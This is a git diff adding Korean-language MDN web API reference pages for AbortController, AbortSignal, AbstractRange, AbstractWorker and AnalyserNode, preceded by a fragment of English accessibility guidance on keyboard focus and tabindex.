+ + + +

Avoid using tabindex attribute greater than zero

+ +

The tabindex attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their tabindex values (1, then 2, then 3, etc.).

+ +

This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive tabindex values.

+ +

See also

+ + + +

Clickable elements must be focusable and should have interactive semantics

+ +

If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.

+ +

An element is clickable if it has an onclick event handler defined. You can make it focusable by adding a tabindex=0 attribute value to it. You can make it operable with the keyboard by defining an onkeydown event handler; in most cases, the action taken by event handler should be the same for both types of events.

+ +

See also

+ + + +

Interactive elements must be able to be activated using a keyboard

+ +

If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.

+ +

See also

+ + + +

Interactive elements must be focusable

+ +

If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a tabindex=0 attribute value to it. That will add the element to the list of elements that can be focused by pressing the Tab key, in the sequence of such elements as defined in the HTML document.

+ +

See also

+ + + +

Focusable element must have focus styling

+ +

Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the :focus CSS pseudo-class.

+ +

Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.

+ +

If you create your own focusable components, be sure that you also define focus styling for them.

+ +

See also

+ + diff --git a/files/ko/web/api/abortcontroller/abort/index.html b/files/ko/web/api/abortcontroller/abort/index.html new file mode 100644 index 0000000000..bd8de71f00 --- /dev/null +++ b/files/ko/web/api/abortcontroller/abort/index.html @@ -0,0 +1,93 @@ +--- +title: AbortController.abort() +slug: Web/API/AbortController/abort +tags: + - API + - AbortController + - Fetch + - abort() + - 레퍼런스 + - 메소드 + - 실험적 +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

{{domxref("AbortController")}} 인터페이스의 abort() 메소드는 DOM 요청(Fetch 요청과 같은)이 완료되기 전에 취소한다. 이를 통해 fetch 요청, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.

+ +

구문

+ +
controller.abort();
+ +

파라미터

+ +

없음.

+ +

반환 값

+ +

Void.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortcontroller/abortcontroller/index.html b/files/ko/web/api/abortcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..caa2355924 --- /dev/null +++ b/files/ko/web/api/abortcontroller/abortcontroller/index.html @@ -0,0 +1,88 @@ +--- +title: AbortController.AbortController() +slug: Web/API/AbortController/AbortController +tags: + - API + - AbortController + - Fetch + - 레퍼런스 + - 생성자 + - 실험적 +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController() 생성자는 새로운 AbortController 객체 인터페이스를 생성한다.

+ +

구문

+ +
var controller = new AbortController();
+ +

파라미터

+ +

없음.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortcontroller/index.html b/files/ko/web/api/abortcontroller/index.html new file mode 100644 index 0000000000..4d3b92e09b --- /dev/null +++ b/files/ko/web/api/abortcontroller/index.html @@ -0,0 +1,103 @@ +--- +title: AbortController +slug: Web/API/AbortController +tags: + - API + - AbortController + - 레퍼런스 + - 실험적 + - 인터페이스 +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController 인터페이스는 하나 이상의 웹 요청을 취소할 수 있게 해준다.

+ +

{{domxref("AbortController.AbortController()")}} 생성자를 사용해 새로운 AbortController 를 생성한다. {{domxref("AbortSignal")}} 객체를 사용해 DOM 요청과의 통신이 완료된다.

+ +

생성자

+ +
+
{{domxref("AbortController()")}}
+
새로운 AbortController 객체 인터페이스를 생성한다.
+
+ +

프로퍼티

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
DOM 요청과 통신하거나 취소하는데 사용되는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.
+
+ +

메소드

+ +
+
{{domxref("AbortController.abort()")}}
+
DOM 요청이 완료되기 전에 취소한다. 이를 통해 fetch 요청, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.
+
+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError으로 명명된 DOMException과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortcontroller/signal/index.html b/files/ko/web/api/abortcontroller/signal/index.html new file mode 100644 index 0000000000..1c67045b85 --- /dev/null +++ b/files/ko/web/api/abortcontroller/signal/index.html @@ -0,0 +1,89 @@ +--- +title: AbortController.signal +slug: Web/API/AbortController/signal +tags: + - API + - AbortController + - Fetch + - 레퍼런스 + - 신호 + - 실험적 + - 프로퍼티 +translation_of: Web/API/AbortController/signal +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

{{domxref("AbortController")}} 인터페이스의 signal 읽기 전용 프로퍼티는 DOM 요청과 통신하거나 취소하는데 사용하는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.

+ +

구문

+ +
var signal = abortController.signal;
+ +

+ +

{{domxref("AbortSignal")}} 객체 인터페이스.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}{{Spec2('DOM WHATWG')}}초기
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortController.signal")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abortsignal/aborted/index.html b/files/ko/web/api/abortsignal/aborted/index.html new file mode 100644 index 0000000000..edced40d38 --- /dev/null +++ b/files/ko/web/api/abortsignal/aborted/index.html @@ -0,0 +1,64 @@ +--- +title: AbortSignal.aborted +slug: Web/API/AbortSignal/aborted +tags: + - API + - AbortSignal + - aborted + - 레퍼런스 + - 실험적 + - 프로퍼티 +translation_of: Web/API/AbortSignal/aborted +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

aborted 읽기 전용 프로퍼티는 신호가 통신하는 DOM 요청이 취소되었는지(true) 그렇지 않은지(false)를 나타내는 {{domxref("Boolean")}}을 반환한다.

+ +

구문

+ +
var isAborted = abortSignal.aborted;
+ +

+ +

{{domxref("Boolean")}}

+ +

예제

+ +

다음 스니펫에서는 새로운 AbortController 객체를 생성하고 {{domxref("AbortSignal")}}를 얻는다(signal 프로퍼티에서 가능). 그 다음 aborted 프로퍼티를 사용해 신호가 취소되었는지 확인하고 콘솔로 적절한 로그를 전송한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Request has been aborted') : console.log('Request not aborted');
+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortSignal.aborted")}}

+ +

See also

+ + diff --git a/files/ko/web/api/abortsignal/index.html b/files/ko/web/api/abortsignal/index.html new file mode 100644 index 0000000000..70d4dff9c1 --- /dev/null +++ b/files/ko/web/api/abortsignal/index.html @@ -0,0 +1,107 @@ +--- +title: AbortSignal +slug: Web/API/AbortSignal +tags: + - API + - AbortSignal + - DOM + - 레퍼런스 + - 실험적 + - 인터페이스 +translation_of: Web/API/AbortSignal +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortSignal 인터페이스는 DOM 요청(Fetch와 같은)과 통신하고 필요한 경우 {{domxref("AbortController")}} 객체를 통해 취소할 수 있게 해주는 신호 객체를 나타낸다.

+ +

프로퍼티

+ +

AbortSignal 인터페이스는 또한 부모 인터페이스 {{domxref("EventTarget")}}으로부터 프로퍼티를 상속받는다.

+ +
+
{{domxref("AbortSignal.aborted")}} {{readonlyInline}}
+
신호가 통신하는 요청이 취소되었는지(true) 그렇지 않은지(false)를 나타내는 {{domxref("Boolean")}}.
+
+ +

이벤트

+ +

addEventListener()를 사용하거나 이 인터페이스의 oneventname 프로퍼티로 이벤트 리스너를 할당하여 이벤트를 리슨한다.

+ +
+
abort
+
신호가 통신하는 요청이 취소되었을 때 호출된다. onabort 프로퍼티를 통해서도 사용이 가능하다.
+
+ +

메소드

+ +

AbortSignal 인터페이스는 부모인 {{domxref("EventTarget")}}로부터 메소드를 상속받는다.

+ +

예제

+ +

다음 스니펫에서는 Fetch API를 사용해 비디오를 다운로드하는 것을 목표로 한다.

+ +

먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.

+ +

Fetch 요청을 시작할 때, 요청의 옵션 객체 내부에 AbortSignal 옵션을 전달한다(아래의 {signal} 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

노트abort()가 호출되면, fetch() promise는 AbortError과 함께 reject된다.

+
+ +
+

현재 버전의 Firefox는 DOMException으로 promise를 reject한다.

+
+ +

동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — abort-api 참고(라이브 실행도 확인할 수 있다).

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.AbortSignal")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/abstractrange/collapsed/index.html b/files/ko/web/api/abstractrange/collapsed/index.html new file mode 100644 index 0000000000..fdb2136dd2 --- /dev/null +++ b/files/ko/web/api/abstractrange/collapsed/index.html @@ -0,0 +1,46 @@ +--- +title: AbstractRange.collapsed +slug: Web/API/AbstractRange/collapsed +translation_of: Web/API/AbstractRange/collapsed +--- +

{{APIRef("DOM WHATWG")}}

+ +

{{domxref("AbstractRange")}}의 범위가 축소된 read-only 속성은 범위의 시작 위치와 끝 위치가 같을 경우 true를 반환합니다.  

+ +

문법

+ +
var isCollpased = range.collapsed
+ +

Value

+ +

범위가 축소된 경우 true인 {{jsxref("Boolean")}}값을 반환합니다.  축소된 범위는 시작 위치와 종료 위치가 동일하며, 문자 길이가 0인 범위입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명시상태설명
{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'collapsed')}}{{Spec2('DOM WHATWG')}}
{{SpecName('Static Range','#dom-AbstractRange-collapsed','collapsed')}}{{Spec2('Static Range')}}Initial definition.
+ +

브라우저 호환성

+ +

이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면, https://github.com/mdn/browser-compat-data 를 checkout 하고 pull request를 보내주십시오.

+ +

{{Compat("api.AbstractRange.collapsed")}}

diff --git a/files/ko/web/api/abstractrange/index.html b/files/ko/web/api/abstractrange/index.html new file mode 100644 index 0000000000..8a46663643 --- /dev/null +++ b/files/ko/web/api/abstractrange/index.html @@ -0,0 +1,199 @@ +--- +title: AbstractRange +slug: Web/API/AbstractRange +tags: + - API + - Abstract + - Abstract Interface + - AbstractRange + - DOM + - DOM API + - Interface + - NeedsTranslation + - Range + - Reference + - TopicStub +translation_of: Web/API/AbstractRange +--- +
{{APIRef("DOM WHATWG")}}
+ +

The AbstractRange abstract interface is the base class upon which all {{Glossary("DOM")}} range types are defined. A range is an object that indicates the start and end points of a section of content within the document.

+ +

As an abstract interface, you will not directly instantiate an object of type AbstractRange. Instead, you will use the {{domxref("Range")}} or {{domxref("StaticRange")}} interfaces. To understand the difference between those two interfaces, and how to choose which is appropriate for your needs.

+ +

{{InheritanceDiagram}}

+ +

Properties

+ +
+
{{domxref("AbstractRange.collapsed", "collapsed")}} {{ReadOnlyInline}}
+
A Boolean value which is true if the range is collapsed. A collapsed range is one whose start position and end position are the same, resulting in a zero-character-long range.
+
{{domxref("AbstractRange.endContainer", "endContainer")}} {{ReadOnlyInline}}
+
The DOM {{domxref("Node")}} in which the end of the range, as specified by the endOffset property, is located.
+
{{domxref("AbstractRange.endOffset", "endOffset")}} {{ReadOnlyInline}}
+
An integer value indicating the offset, in characters, from the beginning of the node's contents to the beginning of the range represented by the range object. This value must be less than the length of the endContainer node.
+
{{domxref("AbstractRange.startContainer", "startContainer")}} {{ReadOnlyInline}}
+
The DOM {{domxref("Node")}} in which the beginning of the range, as specified by the startOffset property, is located.
+
{{domxref("AbstractRange.startOffset", "startOffset")}} {{ReadOnlyInline}}
+
An integer value indicating the offset, in characters, from the beginning of the node's contents to the last character of the contents referred to  by the range object. This value must be less than the length of the node indicated in startContainer.
+
+ +

Methods

+ +

The AbstractRange interface offers no methods.

+ +

Usage notes

+ +

Range types

+ +

All ranges of content within a {{domxref("Document", "document")}} are described using instances of interfaces based on AbstractRange. There are two such interfaces:

+ +
+
{{domxref("Range")}}
+
The Range interface has been around for a long time and has only recently been redefined to be based upon AbstractRange as the need arose to define other forms of range data. Range provides methods that allow you to alter the range's endpoints, as well as methods to compare ranges, detect intersections beween ranges, and so forth.
+
{{domxref("StaticRange")}}
+
StaticRange is a basic range which cannot be changed once it's been created. Specifically, as the node tree mutates and changes, the range does not. This is useful when you need to specify a range that will only be used once, since it avoids the performance and resource impact of the more complex {{domxref("Range")}} interface.
+
+ +

Contents of elements

+ +

When trying to access the contents of an element, keep in mind that the element itself is a node, but so is any text inside it. In order to set a range endpoint within the text of an element, be sure to find the text node inside the element:

+ +
let startElem = document.querySelector("p");
+let endElem = startElem.querySelector("span");
+let range = document.createRange();
+
+range.setStart(startElem, 0);
+range.setEnd(endElem, endElem.childNodes[0].length/2);
+let contents = range.cloneContents();
+
+document.body.appendChild(contents);
+
+ +

This example creates a new range, rng, and sets its starting point to the third child node of the first element whose class is elementclass. The end point is set to be the middle of the first child of the span, and then the range is used to copy the contents of the range.

+ +

Ranges and the hierarchy of the DOM

+ +

In order to define a range of characters within a document in a way that is able to span across zero or more node boundaries, and which is as resilient as possible to changes to the DOM, you can't simply specify the offset to the first and last characters in the {{Glossary("HTML")}}. There are a few good reasons for that.

+ +

First, after your page is loaded, the browser simply isn't thinking in terms of HTML. Once it's been loaded, the page is a tree of DOM {{domxref("Node")}} objects, so you need to specify the beginning and ending locations of a range in terms of nodes and positions within nodes.

+ +

Second, in order to support the mutability of the DOM tree as much as possible, you need a way to represent positions relative to nodes in the tree, rather than simply global positions within the entire document. By defining points within the document as offsets within a given node, those positions remain consistent with the content even as nodes are added to, removed from, or moved around within the DOM tree—within reason. There are fairly obvious limitations (such as if a node is moved to be after the endpoint of a range, or if the content of a node is heavily altered), but it's far better than nothing.

+ +

Third, using node-relative positions to define the start and end positions will generally be easier to make perform well. Rather than having to negotiate the DOM figuring out what your global offset refers to, the {{Glossary("user agent")}} (browser) can instead go directly to the node indicated by the starting position and start from there, working its way forward until it reaches the given offset into the ending node.

+ +

To illustrate this, consider the HTML below:

+ +
<div class="container">
+  <div class="header">
+    <img src="" class="sitelogo">
+    <h1>The Ultimate Website</h1>
+  </div>
+  <article>
+    <section class="entry" id="entry1">
+      <h2>Section 1: An interesting thing...</h2>
+      <p>A <em>very</em> interesting thing happened on the way to the forum...</p>
+      <aside class="callout">
+        <h2>Aside</h2>
+        <p>An interesting aside to share with you...</p>
+      </aside>
+    </section>
+  </article>
+  <pre id="log"></pre>
+</div>
+ +

After loading the HTML and constructing the DOM representation of the document, the resulting DOM tree looks like this:

+ +

Diagram of the DOM for a simple web page

+ +

In this diagram, the nodes representing HTML elements are shown in green. Eah row beneath them shows the next layer of depth into the DOM tree. Blue nodes are text nodes, containing the text that gets shown onscreen. Each element's contents are linked below it in the tree, potentially spawning a series of branches below as elements include other elements and text nodes.

+ +

If you want to create a range that incorporates the contents of the {{HTMLElement("p")}} element whose contents are "A <em>very</em> interesting thing happened on the way to the forum...", you can do so like this:

+ +
let pRange = document.createRange();
+pRange.selectNodeContents(document.querySelector("#entry1 p"));
+
+ +

Since we wish to select the entire contents of the <p> element, including its descendants, this works perfectly.

+ +

If we wish to instead copy the text "An interesting thing..." from the {{HTMLElement("section")}}'s heading (an {{HTMLElement("h2")}} element) through the end of the letters "ve" in the {{HTMLElement("em")}} within the paragraph below it, the following code would work:

+ +
let r = document.createRange();
+let startNode = document.querySelector("section h2").childNodes[0];
+r.setStart(startNode, 11);
+
+let endNode = document.querySelector("#entry1 p em").childNodes[0];
+r.setEnd(endNode, 2);
+
+let fragment = r.cloneContents();
+
+ +

Here an interesting problem arises—we are capturing content from multiple nodes located at different levels of the DOM hierarchy, and then only part of one of them. What should the result look like?

+ +

As it turns out, the DOM specification fortunately addresses this exact issue. For example, in this case, we're calling {{domxref("Range.cloneContents", "cloneContents()")}} on the range to create a new {{domxref("DocumentFragment")}} object providing a DOM subtree which replicates the contents of the specfied range. To do this, cloneContents() constructs all the nodes needed to preserve the structure of the indicated range, but no more than necessary.

+ +

In this example, the start of the specified range is found within the text node below the section's heading, which means that the new DocumentFragment will need to contain an {{HTMLElement("h2")}} and, below it, a text node.

+ +

The range's end is located below the {{domxref("p")}} element, so that will be needed within the new fragment. So will the text node containing the word "A", since that's included in the range. Finally, an <em> and a text node below it will be added below the <p> as well.

+ +

The contents of the text nodes are then determined by the offsets into those text nodes given when calling {{domxref("Range.setStart", "setStart()")}} and {{domxref("Range.setEnd", "setEnd()")}}. Given the offset of 11 into the heading's text, that node will contain "An interesting thing...". Similarly, the last text node will contain simply "ve", given the request for the first two characters of the ending node.

+ +

The resulting document fragment looks like this:

+ +

A DocumentFragment representing the cloned content

+ +

Notice especially that the contents of this fragment are all below the shared common parent of the topmost nodes within it. The parent <section> is not needed to replicate the cloned content, so it is isn't included.

+ +

Example

+ +

Consider this simple HTML fragment of HTML.

+ +
<p><strong>This</strong> is a paragraph.</p>
+ +

Imagine using a {{domxref("Range")}} to extract the word "paragraph" from this. The code to do that looks like the following:

+ +
let paraNode = document.querySelector("p");
+let paraTextNode = paraNode.childNodes[1];
+
+let range = document.createRange();
+range.setStart(paraTextNode, 6);
+range.setEnd(paraTextNode, paraTextNode.length-1);
+
+let fragment = range.cloneContents();
+document.body.appendChild(fragment);
+
+ +

First we get references to the paragraph node itelf as well as to the second child node within the paragraph. The first child is the {{HTMLElement("strong")}} element. The second child is the text node " is a paragraph.".

+ +

With the text node reference in hand, we create a new Range object by calling {{domxref("Document.createRange", "createRange()")}} on the Document itself. We set the starting position of the range to the sixth character of the text node's string, and the end position to the length of the text node's string minus one. This sets the range to encompass the word "paragraph".

+ +

We then finish up by calling {{domxref("Range.cloneContents", "cloneContents()")}} on the Range to create a new {{domxref("DocumentFragment")}} object which contains the portion of the document encompassed by the range. After that, we use {{domxref("Node.appendChild", "appendChild()")}} to add that fragment at the end of the document's body, as obtained from {{domxref("document.body")}}.

+ +

The result looks like this:

+ +

{{EmbedLiveSample("Example", 600, 80)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#abstractrange', 'AbstractRange')}}{{Spec2('DOM WHATWG')}}
+ +

Browser compatibility

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.AbstractRange")}}

diff --git a/files/ko/web/api/abstractworker/index.html b/files/ko/web/api/abstractworker/index.html new file mode 100644 index 0000000000..c31abaa6c1 --- /dev/null +++ b/files/ko/web/api/abstractworker/index.html @@ -0,0 +1,83 @@ +--- +title: AbstractWorker +slug: Web/API/AbstractWorker +tags: + - API + - Abstract + - AbstractWorker + - Interface + - Reference + - Web Workers + - Web Workers API + - Worker + - 워커 + - 웹 워커 +translation_of: Web/API/AbstractWorker +--- +
{{ APIRef("Web Workers API") }}
+ +

Web Workers APIAbstractWorker 인터페이스는 기본적인 {{domxref("Worker")}}에 더해 {{domxref("ServiceWorker")}}와 {{domxref("SharedWorker")}}까지, 모든 유형의 워커에 공통된 속성과 메서드를 정의하는 추상 인터페이스입니다.

+ +

속성

+ +

AbstractWorker 인터페이스는 어떠한 속성도 상속하지 않습니다.

+ +

이벤트 처리기

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
error 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다.
+
+ +

메서드

+ +

AbstractWorker 인터페이스는 어떠한 메서드도 구현하거나 상속하지 않습니다.

+ +

예제

+ +

AbstractWorker는 추상 인터페이스므로 코드 내에서 직접 사용할 일은 없습니다. 대신, AbstractWorker를 상속하는 {{domxref("Worker")}} 또는 {{domxref("SharedWorker")}}를 사용할 것입니다.

+ +

다음 코드는 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 새로운 Worker를 생성한 후 워커로 메시지를 전송하는 것을 보입니다.

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value, second.value]);
+  console.log('Message posted to worker');
+}
+ +

위 워커의 코드는 "worker.js" 파일에서 불러오며, first로 표현한 {{htmlelement("input")}} 요소가 존재하는 상황을 가정하여, {{event("change")}} 이벤트 처리기를 부착해 사용자가 first의 값을 바꿀 때마다 워커에 메시지를 전송해 바뀐 값을 알려줍니다.

+ +

MDN 웹 문서 GitHub 저장소에 더 많은 예제가 준비돼있습니다.

+ + + +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
+ +

브라우저 호환성

+ +
{{Compat("api.AbstractWorker")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/analysernode/index.html b/files/ko/web/api/analysernode/index.html new file mode 100644 index 0000000000..a76feaf59c --- /dev/null +++ b/files/ko/web/api/analysernode/index.html @@ -0,0 +1,164 @@ +--- +title: AnalyserNode +slug: Web/API/AnalyserNode +tags: + - API + - Web Audio API + - 오디오 +translation_of: Web/API/AnalyserNode +--- +

{{APIRef("Web Audio API")}}

+ +

AnalyserNode 는 시간대 별로 실시간 주파수의 정보를 표현합니다. {{domxref("AudioNode")}} 를 통해 오디오 스트림정보가 그대로 입력되어 출력이 되지만 이를 통해 당신은 새로운 형태의 데이터를 생성하거나, 가공하고 오디오를 시각화 시키는 작업을 할 수 있습니다.

+ +

AnalyzerNode 는 하나의 입력에 하나의 출력을 가집니다. 그리고 이 노드는 출력이 명시되지 않더라도 동작을 합니다.

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1 (but may be left unconnected)
Channel count mode"explicit"
Channel count1
Channel interpretation"speakers"
+ +
+

Note: See the guide Visualizations with Web Audio API for more information on creating audio visualizations.

+
+ +

Properties

+ +

{{domxref("AudioNode")}} 를 부모로 가지는 프로퍼티.
